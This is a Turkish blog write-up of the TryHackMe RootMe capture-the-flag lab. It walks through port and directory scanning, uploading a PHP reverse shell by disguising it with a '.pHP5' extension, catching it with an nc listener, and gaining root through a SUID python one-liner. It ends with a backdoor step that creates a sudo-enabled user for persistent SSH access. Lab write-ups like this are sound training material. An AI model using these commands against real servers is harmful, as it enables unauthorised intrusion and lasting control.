Merhaba arkadaşlar, bugün hazırladığım blogun konusu Siber Güvenlik alanında olacak. TryHackMe sitesi üzerinde çalıştığım RootMe CTF (Capture the Flag) deneyimlerimden bahsederken, Web zaafiyetlerinden yararlanarak yeterince güvenli olmayan bir sunucunun nasıl hacklenebildiğini göreceğiz.
Tabii ki konu Siber Güvenlik ve Hacking olunca bu anlamda en önemli Pentest (Penetration Test) Tool'larını bulunduran ve bu iş için özelleştirilmiş olan Kali Linux işletim sistemini kullanacağız. Bu yazı boyunca Kali'de çeşitli tool'lar kullanarak birçok metot ve yöntem öğreneceğiz. Yukarıdaki ejderhayı daha önce gördüyseniz Kali'yi muhtemelen tanıyorsunuz. :)
TryHackMe, siber güvenlik alanında çalışmak ve kendini geliştirmek isteyen her kullanıcı için sanal lab ortamları sunan bir web sitesidir. Hacking alanında öğrenilen bilgilerin gerçek dünyada art niyetle kullanılmaması gerektiğini hatırlatarak bu anlamda faydalı bir site olduğunu söylememiz gerekir.
https://tryhackme.com/room/rrootme linki üzerinden CTF'e ulaşabilirsiniz.
Evet gelelim lab ortamını hazırlamaya, öncelikle CTF sayfasına giderek Task 1'i açıyoruz. "Start Machine" butonuna basarak hackleyeceğimiz makinenin açılmasını sağlıyoruz.
Görüldüğü gibi makine hazır hale geldikten sonra IP bilgisini bize veriyor.
Makine hazır olduğuna göre artık bizim VPN'e bağlanmamız gerekiyor. VPN'e bağlanmak için soru işaretli butona tıklayıp daha sonra görselde belirtilen "See Instruction" adımları takip edilmelidir. Bu adımlara değinmeyeceğim.
Adımları takip ettikten sonra size özel .ovpn uzantılı bir dosya indirmeniz gerekiyor ve bu dosya ile vpn ağına bağlanıyoruz.
# openvpn <YOUR_FILE>.ovpn
Bu adımdan itibaren, CTF'i kendi çözmek veya denemek isteyenler bloga ara verebilir. Ben daha önce çözdüğüm için cevaplar gözükecektir.
VPN ağına katıldıktan sonra Task 2'ye geçebiliriz. Task 2'nin amacı Reconnaissance (Keşif) olacaktır. Bu adımda elimizde sadece IP bilgisi olan sunucudaki açık portları tarayarak keşife başlamamız bekleniyor.
Terminal ekranına geçerek hedefteki sunucuyu pingliyoruz, ping gittiğine göre hedefle iletişim kurabiliyoruz. Eğer VPN ağına katılmada problem yaşasaydık pingin gitmediğini görecektik. Açık portları taramak için Nmap aracını kullanacağız. Nmap aracının -F opsiyonu ile bilinen portları hızlıca tarayacağız. Tarama sonucunda 22/SSH ve 80/HTTP portlarının açık olduğunu keşfettik.
# ping <HEDEF_IP>
# nmap <HEDEF_IP> -F
HTTP portunun açık olduğunu gördükten sonra bu sunucunun bir uygulama sunucusu olduğunu düşünerek tarayıcıya IP adresini girdik. Index sayfasında manidar bir karşılama ile selamlandıktan sonra terminale geri dönüyoruz.
Sunucu hakkında daha fazla bilgi edinmek için web sayfasına Head Http isteği atıyoruz. Hedefteki sunucunun Ubuntu ve Apache versiyonun 2.4.29 olduğu bilgisini de cebimize atıyoruz.
# HEAD HTTP/1.1 <HEDEF_IP>
Sırada web sitesinin hidden page'lerini taramak var. Bu işi yapacak tool olan Gobuster için gerekli kurulumu yapıyoruz. Gobuster belli bir web sitesi için gizli sayfaları ve alt dizinleri tarama işlemini verilen wordlist ile yapar. "gobuster -h" komutu ile tool'un kabiliyetlerini inceleyebilirsiniz.
# apt-get install gobuster
# gobuster -h
Gobuster'a güzel bir wordlist bulmak için google'lıyoruz.
Bu iş için kullanabileceğimiz anlamlı bir wordlist bulduk. Unutmayın wordlist ne kadar anlamsız ve uzun olursa tarama işlemi o kadar uzun sürecektir. Öte yandan wordlist ne kadar kısa ise gözden kaçırabileceğiniz hidden page sayısı da o kadar fazla olacaktır.
# git clone https://github.com/aels/subdirectories-discover
# cd subdirectories-discover
Gobuster saldırıya başladıktan yaklaşık 15 saniye sonra tüm wordlist'i tarayarak hidden sayfaları buldu. Burada özellikle panel ve uploads sayfaları dikkat çekiyor.
# gobuster -u <HEDEF_IP> -w dsstorewordlist.txt dir
Görünüşe göre panel sayfası site kullanıcılarının çeşitli dosyaları siteye yüklemesi için kullanılan bir arayüz. Bu arayüz üzerinden siteye zararlı bir yazılım yükleyebilirsek içeriye sızabiliriz.
Uploads sayfası ise muhtemelen yüklenen dosyaların görüntülenmesi için tasarlanmış bir arayüz.
CTF sayfasında Task 2'ye ait tüm görevler yerine getirildi. Sıra Task 3'e geldi.
Sunucudan shell alarak "user.txt" adlı dosyaya erişmemiz isteniyor. Burada önemli adım az önce de tahmin ettiğimiz gibi "file upload bypass" yöntemi, yani yüklemek istediğiniz zararlı yazılımı bir şekilde bu web sitesine kabul ettirmek. Diğer bir teknik ise "PHP reverse shell" , bu teknik php dilinde hazırlanmış bir zararlı yazılımı kullanarak tcp ile hedef sunucudan tersine shell almamızı sağlayacak.
PHP reverse shell için google'lıyoruz. Bu konuda hazırlanmış açık kaynak bir yazılım karşımıza çıkıyor.
Bu kaynağı indirdikten sonra kodu düzenlemek için php dosyasını açıyoruz.
# git clone https://github.com/pentestmonkey/php-reverse-shell
# cd php-reverse-shell
# vi php-reverse-shell.php
Değiştirmemiz istenen ip ve port değişkenlerini görüyoruz. Saldırının hedefi hedef sunucudaki shell'i kendi sunucumuza yönlendirmek olduğu için buradaki ip değişkenine kendi ip'mizi ve port değişkenine kendi sunucumuzda kullanılmayan bir port'u yazıyoruz.
O zaman şu zararlı php yazılımını siteye yüklemeyi deneyelim.
Portekizce dilince bir hata mesajı karşımıza çıktı. PHP uzantılı dosyaların yüklenmesine izin verilmediği görülüyor. Geliştiriciler bu noktada bir güvenlik önlemi almış gibi gözüküyor.
Şimdi "file upload bypass" metotlarını araştırmanın zamanı geldi.
Bu dosya yükleme işlemini bypass edebilmek için çeşitli yöntemler denedim, siz de bu yöntemleri kendiniz araştırabilirsiniz. Dosya uzantısı pHP, phP, Php, php5, pHP5 vb. gibi farklı uzantılar şeklinde yüklemeye çalışıp defalarca hata mesajını aldım. Bu arada ek bir terminalden yazılıma vermiş olduğumuz portu dinlemesi için nc komutunu çalıştırdık. Bu sayede yükleme başarılı olur ve yazılımı çalıştırmayı başarırsak bu port'a dönecek shell'i yakalayacağız.
# nc -nvlp <YOUR_PORT>
Nihayet denemelerimden biri sonuç verdi ve .pHP5 uzantılı dosyamı başarılı şekilde siteye yükledi. Şimdi uploads sayfasına gidelim.
Yüklediğimiz dosyanın uploads sayfasına geldiğini gördük ve kodun çalışması için zaman kaybetmeden .pHP5 uzantılı dosyaya tıklıyoruz.
İşte bu! Sağ terminalde görüldüğü gibi hedef sunucuda shell'i yakaladık. Basit komutlarla sunucuda kim olduğumuzu ve hangi yetkilere sahip olduğumuzu kontrol ediyoruz.
$ whoami
$ id
$ ls -l
Task 3'teki flag'i yakalamak için user.txt'yi bulup okumaya çalışalım.
$ find / -name user.txt 2>/dev/null
$ cat /var/www/user.txt
Artık sunucuda shell'e bağlandık fakat hala süper güçlerimiz olmadığı için hareket kapasitemiz çok dar. Burada son kısım olan Task 4'e geçiyoruz. Şimdi hedefimiz sunucuda hareket alanımızı genişletmek için süper güçlere sahip olabilmek yani Root olabilmek. Bu task'ın amacı "Privilege Escalation" yani ayrıcalıklarımızı yükseltmek.
Sızılan sunucuda yapılacak ilk iş SUID özel yetkilerini (special permissions) taramak olmalıdır. Root kullanıcısına ait SUID yetkilerine sahip dosyaları görmek için kendimizin ve hedefin sunucusunda find komutunu çalıştıralım. Burada hemen görülmesi gereken python dosyasıdır. Bu şu anlama geliyor, siz bu sunucuda python komutunu herhangi bir kullanıcı için root yetkileriyle çalıştırabilirsiniz.
$ find -user root -perm /4000 2>/dev/null
Tam bu noktada anahtar kelimemiz "GTFObins" olacaktır. GTFObins, yanlış yapılandırılmış sistemlerde yerel güvenlik kısıtlamalarını atlamak için kullanılabilecek, derlenmiş bir Unix ikili dosyaları listesidir.
Kullanmamız gereken python komutunu GTFObins yardımı ile bulduk.
www-data kullanıcısı ile sızdığımız hedef sunucuda yanlış yapılandırılmış python komutunu kullanarak root shell'ini de ele geçirdik, son bayrak düştü ve artık bu sunucuya tam olarak hükmetmek bizim elimizde.
$ which python
$ python -c 'import os; os.setuid(0); os.system("/bin/bash")'
whoami
find / -name root.txt 2>/dev/null
cat /root/root.txt
Aslında bu noktada CTF bitmiş oldu. Fakat bu noktadan sonra yapılabilecek diğer bir manipülasyon backdoor dediğimiz bir arka kapı bırakmaktır. Bunun için yeni bir kullanıcı oluşturulup, sudo yetkilerini veririz. Ve artık kendi makinemizden hedef makineye doğrudan ssh bağlantısı yapabilir ve sudo yetkilerine sahip olabiliriz.
useradd system
passwd system
usermod -aG sudo system
# ssh system@<HEDEF_IP>
Site üzerinde son hareketimizi de yaptıktan sonra bu yazımızın da sonuna gelmiş olduk.
Gelecek yazılarımızda görüşmek üzere, sağlıcakla kalın.
Comments